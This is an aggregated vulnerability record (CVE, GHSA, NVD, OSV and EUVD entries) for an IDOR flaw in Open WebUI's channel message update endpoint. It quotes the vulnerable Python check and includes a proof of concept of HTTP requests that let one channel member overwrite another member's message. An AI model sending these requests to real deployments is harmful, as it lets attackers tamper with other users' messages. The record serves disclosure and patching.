{"id":"CVE-2026-45385","aliases":["EUVD-2026-30626","GHSA-wwhq-cx22-f7vv","PYSEC-2026-2767"],"status":"published","title":"Open WebUI: An IDOR vulnerability exists in the update_message_by_id API endpoint","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0025,"percentile":0.16523,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-639"],"published":"2026-05-14T20:25:40Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.9.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-wwhq-cx22-f7vv","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45385","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wwhq-cx22-f7vv","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45385.json","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://pypi.org/project/open-webui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45385","title":"Open WebUI: An IDOR vulnerability exists in the update_message_by_id API endpoint","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:29:36.884Z","modified":"2026-05-18T15:56:49.278Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-30626","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:29:36Z","modified":"2026-05-18T15:56:49Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:16.184545Z"}],"ghsa":[{"id":"GHSA-wwhq-cx22-f7vv","title":"Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint","description":"### Summary\nAn IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`.\n\n### Details\nIn the `update_message_by_id` function, for `group` or `dm` type channels, only the caller's membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :\n\n```python\nif channel.type in ['group', 'dm']:\n    if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\nelse:\n    if (\n        user.role != 'admin'\n        and message.user_id != user.id\n        and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)\n    ):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n\ntry:\n    message = Messages.update_message_by_id(message_id, form_data, db=db)\n```\n\nNon-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification.\n\n### PoC\nThe `Channels` feature is disabled by default and can be enabled first through the `admin` interface.\n\u003cimg width=\"1024\" height=\"618\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f\" /\u003e\n\nCreate a `group` type channel with members including users `test1` and `test2`.\n\n```\nPOST /api/v1/channels/create HTTP/1.1\nContent-Type: application/json\n\n{\n  \"name\": \"idor-test-group\",\n  \"type\": \"group\",\n  \"user_ids\": [\n    \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n    \"b9997496-ff80-4c30-a366-95474f85e62b\"\n  ]\n}\n```\n\nUser `test2` sends a message in the channel.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest2_token\u003e\n\n{\"content\":\"This is test2 secret message\"}\n```\n\nUser `test1` can directly modify the message that `test2` just sent.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest1_token\u003e\n\n{\"content\":\"HACKED BY TEST1 - message tampered!\"}\n```\n\u003cimg width=\"1024\" height=\"216\" alt=\"image\" src=\"https://github.com/user-attachments/assets/77646d01-d501-4732-ac37-3ffb69f9f01f\" /\u003e\n\nMessages sent by administrators can also be modified.\n\n\u003cimg width=\"1024\" height=\"419\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761\" /\u003e\n\n\n### Impact\nMalicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.\n\n### Suggested Fix\nAdd a message ownership check in the `group/dm` branch of `channels.py`.","status":"published","published":"2026-05-14T20:25:40Z","modified":"2026-05-15T23:54:10Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:40:11.298154Z"}],"nvd":[{"id":"CVE-2026-45385","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T21:16:36.907Z","modified":"2026-06-17T10:51:59.4Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"CVE-2026-45385","title":"Open WebUI: An IDOR vulnerability exists in the update_message_by_id API endpoint","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.","status":"published","published":"2026-05-15T20:29:36.884Z","modified":"2026-10-28T02:30:38.419383929Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-wwhq-cx22-f7vv","title":"Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint","description":"### Summary\nAn IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`.\n\n### Details\nIn the `update_message_by_id` function, for `group` or `dm` type channels, only the caller's membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :\n\n```python\nif channel.type in ['group', 'dm']:\n    if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\nelse:\n    if (\n        user.role != 'admin'\n        and message.user_id != user.id\n        and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)\n    ):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n\ntry:\n    message = Messages.update_message_by_id(message_id, form_data, db=db)\n```\n\nNon-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification.\n\n### PoC\nThe `Channels` feature is disabled by default and can be enabled first through the `admin` interface.\n\u003cimg width=\"1024\" height=\"618\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f\" /\u003e\n\nCreate a `group` type channel with members including users `test1` and `test2`.\n\n```\nPOST /api/v1/channels/create HTTP/1.1\nContent-Type: application/json\n\n{\n  \"name\": \"idor-test-group\",\n  \"type\": \"group\",\n  \"user_ids\": [\n    \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n    \"b9997496-ff80-4c30-a366-95474f85e62b\"\n  ]\n}\n```\n\nUser `test2` sends a message in the channel.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest2_token\u003e\n\n{\"content\":\"This is test2 secret message\"}\n```\n\nUser `test1` can directly modify the message that `test2` just sent.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest1_token\u003e\n\n{\"content\":\"HACKED BY TEST1 - message tampered!\"}\n```\n\u003cimg width=\"1024\" height=\"216\" alt=\"image\" src=\"https://github.com/user-attachments/assets/77646d01-d501-4732-ac37-3ffb69f9f01f\" /\u003e\n\nMessages sent by administrators can also be modified.\n\n\u003cimg width=\"1024\" height=\"419\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761\" /\u003e\n\n\n### Impact\nMalicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.\n\n### Suggested Fix\nAdd a message ownership check in the `group/dm` branch of `channels.py`.","status":"published","published":"2026-05-14T20:25:40Z","modified":"2026-07-13T16:43:44.603801606Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"PYSEC-2026-2767","title":"Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint","description":"### Summary\nAn IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`.\n\n### Details\nIn the `update_message_by_id` function, for `group` or `dm` type channels, only the caller's membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :\n\n```python\nif channel.type in ['group', 'dm']:\n    if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\nelse:\n    if (\n        user.role != 'admin'\n        and message.user_id != user.id\n        and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)\n    ):\n        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n\ntry:\n    message = Messages.update_message_by_id(message_id, form_data, db=db)\n```\n\nNon-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification.\n\n### PoC\nThe `Channels` feature is disabled by default and can be enabled first through the `admin` interface.\n\u003cimg width=\"1024\" height=\"618\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f\" /\u003e\n\nCreate a `group` type channel with members including users `test1` and `test2`.\n\n```\nPOST /api/v1/channels/create HTTP/1.1\nContent-Type: application/json\n\n{\n  \"name\": \"idor-test-group\",\n  \"type\": \"group\",\n  \"user_ids\": [\n    \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n    \"b9997496-ff80-4c30-a366-95474f85e62b\"\n  ]\n}\n```\n\nUser `test2` sends a message in the channel.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest2_token\u003e\n\n{\"content\":\"This is test2 secret message\"}\n```\n\nUser `test1` can directly modify the message that `test2` just sent.\n\n```\nPOST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003ctest1_token\u003e\n\n{\"content\":\"HACKED BY TEST1 - message tampered!\"}\n```\n\u003cimg width=\"1024\" height=\"216\" alt=\"image\" src=\"https://github.com/user-attachments/assets/77646d01-d501-4732-ac37-3ffb69f9f01f\" /\u003e\n\nMessages sent by administrators can also be modified.\n\n\u003cimg width=\"1024\" height=\"419\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761\" /\u003e\n\n\n### Impact\nMalicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.\n\n### Suggested Fix\nAdd a message ownership check in the `group/dm` branch of `channels.py`.","status":"published","published":"2026-07-13T15:19:07.184445Z","modified":"2026-07-13T16:32:05.727833196Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}